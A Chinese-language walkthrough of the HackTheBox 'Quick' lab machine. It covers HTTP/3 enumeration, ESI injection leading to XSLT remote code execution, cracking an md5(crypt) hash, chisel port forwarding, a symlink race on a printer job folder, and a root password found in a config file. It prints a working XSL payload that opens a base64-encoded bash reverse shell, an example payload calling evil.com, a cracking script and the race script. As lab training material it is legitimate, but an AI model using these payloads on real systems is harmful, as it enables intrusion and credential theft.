美文网首页
hackthebox-Quick-一次艰难的渗透

hackthebox-Quick-一次艰难的渗透

作者: byc_404 | 来源:发表于2020-08-30 19:40 被阅读0次

    暑假快开始时做的第一台hard靶机。当时收获挺大的。因为这个好的开头所以现在已经逐渐适应hard难度了

    因为现在还没有接到确切通知说是否考试,原本期末复习的计划也被打乱了。既然现在复习觉得有点亏,于是干脆去做做hackthebox的靶机算了,正好好久没写wp了2333。

    虽然没更新文章,但是其实自己每周都在跟着ippsec的视频做退役靶机。当然其实也做了5.6台现役的。不过今天要写的Quick靶机的wp是自己头一次独立完成的困难难度的靶机。真的真的学到了很多东西。所以一定要记录下。

    另外由于Quick还是active状态,所以我会给文章上锁直到靶机退役。
    ps:靶机已退役


    • 靶机ip: 10.10.10.186
    • 攻击机: 10.10.14.40

    initial foothold

    这一部分真的挺麻烦的......中间有点点脑洞的成分,但总体还是比较符合真实环境的。

    首先必然是nmap端口扫描。

    # Nmap 7.80 scan initiated Thu Jun 18 14:43:20 2020 as: nmap -sC -sV -oA nmap/quick 10.10.10.186
    Nmap scan report for 10.10.10.186
    Host is up (0.44s latency).
    Not shown: 998 closed ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
    |   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
    |_  256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
    9001/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Quick | Broadband Services
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Thu Jun 18 14:46:54 2020 -- 1 IP address (1 host up) scanned in 214.65 seconds
    

    可以看到只开放了ssh跟9001web端口。尝试访问web页面


    会发现主要信息有

    • 几个标出了姓名跟公司的留言
    • update处指向了一个网页https://portal.quick.htb

    同时底部clients定向到clients.php


    似乎里面的公司跟前面的人名备注的公司有相同的地方。目前只能说大致可以收集一些信息。
    访问login.php发现需要用户名跟密码。不过,此处的用户名要求为邮箱登录。密码则没有什么透露的信息。

    web页面的信息收集完了,就应该试试https://portal.quick.htb

    然而奇怪的是,我们根本没有办法访问这个网页(在修改了/etc/hosts的前提下)。尝试直接curl也同样无果。这时直接陷入僵局。

    在逛了一圈htb的论坛后,发现大家提到了重新build工具这个关键信息。并且提到了,如果访问不了这个页面,是因为浏览器无法理解收到的信息。所以访问不了。并且最好尝试其他protocol.

    在留意到protocol这个关键词后,我开始尝试跑一遍udp端口的nmap

    # Nmap 7.80 scan initiated Fri Jun 19 20:33:51 2020 as: nmap -sU -oA nmap/quick-udp 10.10.10.186
    Nmap scan report for portal.quick.htb (10.10.10.186)
    Host is up (0.43s latency).
    Not shown: 999 closed ports
    PORT    STATE         SERVICE
    443/udp open|filtered https
    
    # Nmap done at Fri Jun 19 20:50:40 2020 -- 1 IP address (1 host up) scanned in 1008.38 seconds
    

    原来在udp的443端口有https服务。看来大概率就是我们之前的网站了。此时搜索相关信息,会发现这应该是HTTP/3协议。因为HTTP/3的一个重要特征就是将弃用TCP协议,改为使用基于UDP协议的QUIC协议实现。
    可以看下维基跟这篇文章。
    http3-in-curl

    http/3协议虽然是新趋势,但是目前能唯一有效连接的工具还是只有curl.所以我猜测论坛里大家提到的就是重新编译curl以支持http3.

    然而这一步十分耗时间,因为必须要下Quiche重新编译,下brew来进行包管理......总之我连brew都没下完就放弃了这个选择,因为国内实在太慢了,换了git源后又因为其他源继续龟速下载...这时我在搜索内容中注意到docker有现成的镜像。于是果断换docker进行curl。(docker的最大价值就是为我们节省了配环境的大把时间)
    pull一个ymuski/curl-http3镜像

    docker run -it --rm ymuski/curl-http3 curl -V 
    

    检查下支持http3.这样就可以用--http3来访问网址了

    docker run -it --rm ymuski/curl-http3 curl https://10.10.10.186 --http3 
    

    发现几个链接。一个个访问后发现docs文档有两个pdf。

    <!DOCTYPE html>
    <html>
    <head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    
    <h1>Quick | References</h1>
    <ul>
      <li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
      <li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
    </ul>
    </head>
    </html>
    

    开始果断尝试直接-o输出,但是却搞忘了,这里是调用的docker执行命令。那么我们的输出在镜像里面。所以我得挂载一个目录来获取输出的pdf

    docker run -it --rm -v /mnt/curl:/tmp ymuski/curl-http3 curl 10.10.10.186 --http3 -o /tmp/xxx.pdf
    

    在其中一个pdf中得到关键信息。也就是密码。


    那么接下来就是尝试登录了。这也是起手式这里又一个难点。原先htb的邮箱基本上都是admin@{box的hostname}.htb这种形式的。但是此处常规尝试都不起效果。于是只能手动写脚本组合下之前的信息。

    list=[]
    users=['tim','roy','elisa','james','mike','jane','john']
    postfix=['qconsulting.co.uk','darkwing.com','wink.co.uk','lazycoop.cn','scoobydoo.it','penguincrop.fr']
    postfix2=['qconsulting.co.uk','darkwing.com','wink.co.uk','lazycoop.com.cn','scoobydoo.co.it','penguincrop.co.fr']
    postfix3=['qconsulting.htb.uk','darkwing.htb','wink.htb.uk','lazycoop.htb.cn','scoobydoo.htb.it','penguincrop.htb.fr']
    
    def quick():
        global list
        for i in users:
            for j in postfix:
                list.append(i+'@'+j)
        return list
    
    def quick2():
        global list
        for i in users:
            for j in postfix2:
                list.append(i+'@'+j)
        return list
    
    def quick3():
        global list
        for i in users:
            for j in postfix3:
                list.append(i+'@'+j)
        return list
    
    f=open('creds.txt','w')
    for email in quick():
        f.write(email+'\n')
    
    for email in quick2():
        f.write(email+'\n')
    for email in quick3():
        f.write(email+'\n')
    f.close()
    

    最后尝试出结果后才发现其实不需要过多尝试的。但是重点(难点)就在于,它的邮箱格式非常类似真实的企业邮箱。前面我们主页面的信息结合起来后,其实每个人名对应的公司,国家都是确定的。所以我们主要注意采用二级域名即可。也就是跟在公司名后的.co.fr,.co.it等等。

    得到用户elisa成功登陆后,我们就要准备第三部分的利用了。这里我直觉猜测应该可以RCE,因为htb的靶机如果没法getshell的话连后面的提权都做不到。出于直觉以及最早的信息收集,我认为这里应该是从header中泄露的信息下手

    注意到X-Powered-By: Esigate后直接搜索相关信息。了解到这是一个模板相关的java服务。可以起到搭配phpcms并且将html片段进行整合的作用。并且进一步了解后发现存在RCE漏洞。

    找了好几篇文章都没有关键代码。只有这篇提到了https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

    触发的payload如下,显然也是因为引入了外部的恶意xsl导致RCE。

    <esi:include src="http://website.com/" stylesheet="http://evil.com/esi.xsl">
    </esi:include>
    

    这里我注意到前面的src是website.com所以我在使用自己的payload时将其改为了10.10.10.186:9001。后来也证明如果不改的话,触发时会出现error retrieving url的报错。

    接下来则是尝试如何触发的问题。这里我按打CTF的直觉认为应该是ticket.php传payload.search.php传search参数进行触发。当然网页也提醒了,当你传完ticket后会返回一个预先置好的ticketid。只要在search.php搜索对应id即可。

    这里还有一个小坑。那就是java的命令执行问题。开始尝试触发时发现主要问题是:

    • 一个ticket传一次后就失效了。导致我每次得更改xsl的名字。
    • 命令执行curl 10.10.10.14.40|bash失败。估计又是java的锅。

    如果稍微过一遍上面那篇文章中的xsl.会发现肯定是调用了java.lang.Runtime.getRuntime().exec()来执行命令的。所以肯定存在单条命令特殊字符过不去的问题。当然解决方法在做vulhub各种java反序列化时就用烂了。使用编码绕过即可。
    http://jackson-t.ca/runtime-exec-payloads.html

    最后我的xsl payload

    <?xml version="1.0" ?>
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:output method="xml" omit-xml-declaration="yes"/>
    <xsl:template match="/"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
    <root>
    <xsl:variable name="cmd"><![CDATA[bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}]]></xsl:variable>
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
    Process: <xsl:value-of select="$process"/>
    Command: <xsl:value-of select="$cmd"/>
    </root>
    </xsl:template>
    </xsl:stylesheet>
    

    先raise一个ticket后准备好监听,search.php传值直接触发


    到此为止即可弹到用户sam的shell。拿到user.txt

    上面一套流程走下来后花了快有7个小时。只能算是配环境(甚至还没配成)跟猜用户名的锅。但同时也表现出enumeration的过程有多重要。否则甚至不能正常进行后面的提权。java的命令执行这个小trick对于新手而言也许很坑。但是仍然是有方法的。比如wget一个netcat过去再执行(windows常规操作,尤其是在windowsdefender日渐强大的今天)。假如熟悉java的话则应该很快就能构造出弹shell的payload.不至于卡在RCE却无法getshell.

    privesc to srvadm

    得到用户sam后准备开始提权。首先是常规的linpeas.sh传到靶机上扫一遍。接着是python -c 'import pty;pty.spawn("/bin/bash")'维持shell.毕竟一套流程下来getshell也不是那么迅速的。(当然可以写个ssh公钥,就是我搞忘了2333)

    脚本扫过一遍后并没有什么收获。倒是在html的源码里找到了php的db.php泄露了数据库信息

    <?php
    $conn = new mysqli("localhost","db_adm","db_p4ss","quick");
    ?>
    

    登录mysql从users表里拿到两个用户及各自密码的hash

    | Elisa        | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
    | Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
    

    此时靶机还剩下一个要提权的用户srvadm。这里泄露了密码,当然要去php源码里看看密码是怎么与hash进行对比的
    login.php中

    password=md5(crypt($password,'fa'))
    

    既然盐值以及加密都不算难。我们直接用脚本+rockyou.txt来试试爆破

    import crypt
    import hashlib
    
    
    def get_md5(s):
        md = hashlib.md5()
        md.update(s.encode('utf-8'))
        return md.hexdigest()
    
    f=open('rockyou.txt','r')
    for i in range(1,10000000):
        try:
            word=f.readline().strip()
        except:
            continue
        hashes=crypt.crypt(word,'fa')
        cipher=get_md5(hashes)
        if cipher=='e626d51f8fbfd1124fdea88396c35d05':
            print('Found: '+word)
            break
    

    得到srvadm的密码后当然先试试看是不是ssh或者系统密码了。但很可惜都不是。既然如此,这个密码只能在web服务上发挥作用了。那么说还有其他web服务?

    这时我注意到了/var/www/里除了html还有两个文件夹

    诡异的是jobs是777权限。似乎可以做文章。那么转而去旁边的printer中找。发现又是一套带了cms的php源码。并且用的数据库跟之前html中的是一致的。也就是说我们爆破出的密码有用了。

    简单审下后发现一个似乎存在漏洞的地方(实际上当时关注点错了)
    job.php

    <?php
    
    require __DIR__ . '/escpos-php/vendor/autoload.php';
    use Mike42\Escpos\PrintConnectors\NetworkPrintConnector;
    use Mike42\Escpos\Printer;
    include("db.php");
    session_start();
    
    if($_SESSION["loggedin"])
    {
        if(isset($_POST["submit"]))
        {
            $title=$_POST["title"];
            $file = date("Y-m-d_H:i:s");
            file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
            chmod("/var/www/printer/jobs/".$file,"0777");
            $stmt=$conn->prepare("select ip,port from jobs");
            $stmt->execute();
            $result=$stmt->get_result();
            if($result->num_rows > 0)
            {
                $row=$result->fetch_assoc();
                $ip=$row["ip"];
                $port=$row["port"];
                try
                {
                    $connector = new NetworkPrintConnector($ip,$port);
                    sleep(0.5); //Buffer for socket check
                    $printer = new Printer($connector);
                    $printer -> text(file_get_contents("/var/www/jobs/".$file));
                    $printer -> cut();
                    $printer -> close();
                    $message="Job assigned";
                    unlink("/var/www/jobs/".$file);
                }
                catch(Exception $error) 
                {
                    $error="Can't connect to printer.";
                    unlink("/var/www/jobs/".$file);
                }
            }
            else
            {
                $error="Couldn't find printer.";
            }
        }
    
    
    ?>
    <?php } 
    else
    {
        echo '<script>alert("Invalid Username/Password");window.location.href="index.php";</script>';
    }?>
    
    

    其中用到的框架的部分经搜索后发现只是一个类似‘打印’功能的框架。比如NetworkPrintConnector就是调用了一个fsockopen()

    接下来的部分就是最让我头疼的部分。很大程度上是经验不足吧。现在既然要提权,并且有存在漏洞的web服务了,那么它肯定得是srvadm运行的,才能让我有提权机会。然而我在找服务这里却浪费了很多时间:开始看端口发现有80端口,于是直接curl.得到的却是之前9001端口的php+esigate页面。导致我以为80端口运行的是nginx给java做的反代。之后把靶机端口全过了一遍也没有找到哪个端口是跑的printer的web服务。甚至也没找到srvadm在运行什么服务的信息。导致自己瞬间迷茫。

    之后在这块询问了下外国友人bigFish43。他给我的提示是查看下apache的config文件。于是思路瞬间明朗起来。

    sites-enabled/000-default.conf里找到了子域名printerv2.quick.htb并且正如所预料的,是以srvadm用户运行的。

    apache的virtualhost跑在80端口上。不过同时我们知道html文件夹里的的服务也跑在80端口上。那么需要更改Host才能访问
    靶机上
    curl localhost -H 'Host: printerv2.quick.htb'后终于得到了来自printer的回显。那么下一步就是,为了直接在本地访问到printerv2.quick.htb,必须要进行端口转发了。因为我们最早nmap探测80端口时是没有开启的。说明这里apache服务是运行在本地的。

    转发端口同样也有至少两种方法。ssh或者上工具chisel。这里我没有用ssh登录,所以直接用chisel。chisel之前做sniper也用过了。这里直接留传完chisel后的命令

    #kali
    ./chisel_linux_amd64 server -p 8000 --reverse
    
    #sam@quick
    ./chisel_linux_amd64 client 10.10.14.40:8000 R:80:127.0.0.1:80
    
    

    意思就是,靶机借用8000端口的中转,把靶机的80端口转到kali的127.0.0.1:80即本地80端口.

    这样就把80端口转发到本地了。接下来由于要修改hostname。因为不想影响访问之前的网址。直接开个burp来修改Host header.


    只要保持burp打开,我们每次访问的Host都会被替换.
    即可在本地访问进行操作。


    接下来就是渗透的难点了。前面提到说job.php看起来有漏洞,但究竟漏洞在哪?开始我觉得有漏洞是因为里面出现了chmod(xxx,777)。但仔细一看却发现那个/var/www/printer/jobs路径不存在?既然如此,代码逻辑就是:

    • 接受我们post的参数,执行file_put_contents()/var/www/jobs写入一个文件名为当前日期的文件。并且chmod一个不存在的文件。
    • 执行sql查询。假如jobs库里有内容。按照查询结果远程连接到对应的ip,port.sleep(0.5)后执行file_get_contents()读我们之前的文件,并最后删除;jobs库无内容直接退出。

    这里卡了好久后我突然想起来/var/www/jobs文件夹是777权限。那么我们可以写文件这点就非常重要。于是立刻就有了两种使用短链接的条件竞争

    • 不要在数据库中插入新数据。这样srvadm创建的文件就会留下来。如果我们提前创建一个同名文件(因为文件名为时间这点是可预测的)。并利用短链接将其链接向srvadm的sshkey.那么执行file_put_contents()时不就可以写入我们自己的公钥了吗?

    • 在前面printer.php就输入host跟port.即在数据库插入数据。这样job.php就会进行读文件并打印内容。而我们可以用nc接收。只要在写文件跟读文件的间隔中删掉文件并建立一个到ssh私钥的短链接。php就会把读到的私钥发给我们。

    这里两种思路同时想到,我立刻选择了前者。因为后者算比较纯粹的条件竞争,时间不好把控(所以叫Quick),我选择前者。

    操作起来比想象中简单。我一次就成了。假如同时做靶机的人比较多的话就另谈,


    其实就是算好一个提前量。并且执行

    ln -s /home/srvadm/.ssh/authorized_keys 2020-06-23_06:00:00
    

    然后差不多算好时间提前burp重复发包。
    这里因为精度被限制在1s.所以写入我们的key的可能性不小。

    之后直接ssh登录即可

    chmod 600 id_rsa
    ssh -i id_rsa srvadm@10.10.10.186
    

    这里我虽然没试第二种思路,但做完靶机后看到其他人的wp里写到了解决方法:

    执行一个bashscript

    cd /var/www/jobs;
    while true;
    do
            for file in $(ls .);
            do
                    rm -rf $file;
                    ln -s /home/srvadm/.ssh/id_rsa $file;
            done
    done
    

    然后起一个nc监听。并在job.php提交内容写入。这样就能得到私钥并且直接登录了。

    这段内容其实花的时间不比第一部分少。甚至于我遇到的困难更多。比如在找服务上太傻了。之后想起运行pspy64s时也发现了系统是有apache服务跑着的。那肯定就得去找配置文件。结果自己只看了apache的apache2.conf就了事了。该打。然后就是后面的漏洞利用。那个chmod着实害人,开始还想着把短链接链到那个不存在的文件。仔细一想才发现其实直接链到key就可了。

    privesc to root

    到root的部分才是真正的Quick。只需要待在自己的home文件夹进行enum即可。

    这里按照sshkey的创建时间,找一下3-21之前一个月不到的文件。

    srvadm@quick:/home/srvadm# find . -type f -newermt "2020-03-01" ! -newermt "2020-03-21" -ls 2>/dev/null
       281794      4 -rw-r--r--   1 srvadm   srvadm       4038 Mar 20 06:23 ./.cache/conf.d/printers.conf
       281793      8 -rw-r--r--   1 srvadm   srvadm       4569 Mar 20 06:20 ./.cache/conf.d/cupsd.conf
       281799     72 -rw-rw-r--   1 srvadm   srvadm      71479 Mar 20 06:46 ./.cache/logs/debug.log
       281798      4 -rw-rw-r--   1 srvadm   srvadm       1136 Mar 20 06:39 ./.cache/logs/error.log
       281791     12 -rw-r--r--   1 srvadm   srvadm       9064 Mar 20 06:19 ./.cache/logs/cups.log
       281425      0 -rw-r--r--   1 srvadm   srvadm          0 Mar 20 02:38 ./.cache/motd.legal-displayed
       281369      4 -rw-r--r--   1 srvadm   srvadm        220 Mar 20 02:16 ./.bash_logout
       281797      4 -rw-------   1 srvadm   srvadm         23 Mar 20 06:46 ./.local/share/nano/search_history
       281421      4 -rw-r--r--   1 srvadm   srvadm        222 Mar 20 02:38 ./.ssh/known_hosts
       281418      4 -rw-------   1 srvadm   srvadm       1679 Mar 20 02:37 ./.ssh/id_rsa
       281419      4 -rw-r--r--   1 srvadm   srvadm        394 Mar 20 02:37 ./.ssh/id_rsa.pub
       281370      4 -rw-r--r--   1 srvadm   srvadm       3771 Mar 20 02:16 ./.bashrc
       281371      4 -rw-r--r--   1 srvadm   srvadm        807 Mar 20 02:16 ./.profile
    
    

    一个个读后发现关键信息在
    ./.cache/conf.d/printers.conf

    DeviceURI https://srvadm@quick.htb:&ftQ4K3SGde8?@printerv3.quick.htb/printer
    

    之前学ssrf时总结过url的属性。username:password@host的格式告诉了我们&ftQ4K3SGde8?密码。所以直接尝试su到root。直接拿到rootshell.

    ssh也是同样


    summary

    本次渗透前后花了不少时间。相比之前看ippsec视频做退役靶机,独立完成一台困难靶机真的感觉很不错,也很艰辛。当然,能完整做完很大程度上是因为这台靶机的内容很适合CTF的web选手。自己在很多地方也都运用到了自己日常比赛时的小技能。同时靶机关于http/3,xslt->RCE,提权方法等等都有很大收获。所以非常赞。

    其实前前后后做了快20多台HTB靶机,感觉自己经常卡在enumeration也就是枚举(信息收集)上。而这往往是解决问题的关键。希望能够多锻炼下自己这方面的能力吧。

    相关文章

      网友评论

          本文标题:hackthebox-Quick-一次艰难的渗透

          本文链接:https://www.haomeiwen.com/subject/yybcqktx.html